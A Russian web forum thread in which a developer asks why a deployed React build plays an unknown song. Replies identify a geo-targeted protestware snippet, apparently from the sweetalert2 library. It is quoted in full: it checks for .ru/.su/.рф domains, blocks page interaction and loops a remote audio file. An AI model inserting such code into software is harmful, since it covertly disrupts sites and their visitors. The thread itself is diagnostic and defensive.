Добрый день!
Я выложил сайт на хостинг. При открытии сайта начинает воспроизводиться аудио файл, которого у меня не было предусмотрено. Я удалил сайт с хостинга. Проверил исходный вариант на локальном сервере. Все нормально. Никакого аудио нет. Снова выложил его на хостинг. Открываю, опять звучит так же песня. Как-будто прицепляется какой-то вирус. Что это может быть? И как это пофиксить?
Сайт состоит из HTML, CSS, JS файлов, это билд REACT приложения.
Дополнительно:
Содержание
Если бесплатный хостинг типа uсoz, то такое возможно со стороны хостинга
Чтобы исключить mitm
Обратись лучше к специалисту, ибо с такими знаниями ты можешь попасть куда серьёзнее, чем не заказанная музыка. Я серьёзно.
И даже вопрос "почему" показывает квалификацию. Ибо ответ на него элементарный - да потому что его запрашивает браузер! А значит код сайта (точнее того что в него попадает) ему это говорит (т.е. вопрос должен быть как минимум "где происходит вызов", а не "почему").
Это настолько элементарная "проблема"... ну это как хирург бы спрашивал - "почему я всё время режусь скальпелем, зажимая лезвие в кулаке".
Играет гимн Украины!
Я проверил в исходном коде ничего нет, а в сбилженном уже есть.
И видимо он начинает играть, если у сайта домен RU / SU / РФ.
Так что будьте внимательны!
|
1 |
location.host.match(/.(ru|su|xn--p1ai)$/)) { var ea = new Date, ta = localStorage.getItem("swal-initiation"); ta ? (ea.getTime() - Date.parse(ta)) / 864e5 > 3 && setTimeout((function() { document.body.style.pointerEvents = "none"; var e = document.createElement("audio"); e.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", e.loop = !0, document.body.appendChild(e), setTimeout((function() { e.play().catch((function() {})) }), 2500) }), 500) : localStorage.setItem("swal-initiation", "".concat(ea)) } |
🙂 если бы ты это указал сразу я бы тебе сказал, что проблема в скрипте слайдера (или что-то типа того, на вскидку не вспомню). Широко известная в узких кругах дыра с 2022г. 🙂
И да, в коде (в сорцах) есть, только зашифровано.
См https://vc.ru/dev/414874-sweetalert2-i-do-stati-dovedet и https://vc.ru/u/533082-ashab-bovkin/784391-sayt-na...
Но вообще лучше заменить это говно от неадеквата на что-то нормальное.
Ответы:
обращение в поддержку хостера
Для решения данной проблемы вы можете воспользоваться услугами фрилансеров. Мы выполним необходимую работу быстро и качественно.
Оставить комментарий Отменить
Ответы
- Есть ответ! к записи Как уменьшить масштаб меньше 100% в Windows 10 (22H2)
- Есть ответ! к записи Аналоги CloudFlare в России?
- Есть ответ! к записи Аналоги CloudFlare в России?
- Есть ответ! к записи Как называется человек, который дизайн придумает для сайта и сверстает его?
- Есть ответ! к записи Можно ли установить Яндекс.Диск на АльтЛинукс?
- Есть ответ! к записи Картинки мутные только на сафари, есть выход?
- Есть ответ! к записи Keenetic. Как настроить SSTP клиент с сертификатом?
- Есть ответ! к записи Чем заменить executor в aiogram 3?
Для того чтобы решить проблему с воспроизведением музыки на сайте, вам необходимо принять несколько шагов:
1. Проверьте ваш сайт на наличие вредоносного кода или вирусов. Вредоносный код может быть внедрен в ваш сайт и запускать воспроизведение музыки без вашего разрешения. Для этого вам необходимо просканировать ваш сайт с помощью антивирусного ПО или обратиться к специалистам по безопасности сайтов.
2. Проверьте все файлы и скрипты, которые могут быть связаны с воспроизведением аудио на вашем сайте. Убедитесь, что все скрипты, плагины и расширения на вашем сайте актуальны и безопасны. Возможно, один из них может быть источником проблемы.
3. Если у вас есть сторонние рекламные баннеры или скрипты на вашем сайте, убедитесь, что они не запускают автоматическое воспроизведение аудио без вашего разрешения. Вам следует проверить код этих рекламных блоков и убедиться, что они не содержат вредоносного кода.
4. Проверьте настройки вашего сайта и убедитесь, что нет никаких скрытых аудиофайлов или скриптов, которые могли бы запускать музыку на вашем сайте. Просмотрите все файлы и папки на сервере и убедитесь, что они безопасны.
Если после выполнения этих шагов проблема с воспроизведением музыки на вашем сайте все еще остается, вам следует обратиться за помощью к специалистам по веб-разработке или веб-безопасности. Они смогут провести более глубокий анализ вашего сайта и помочь вам найти и устранить источник проблемы.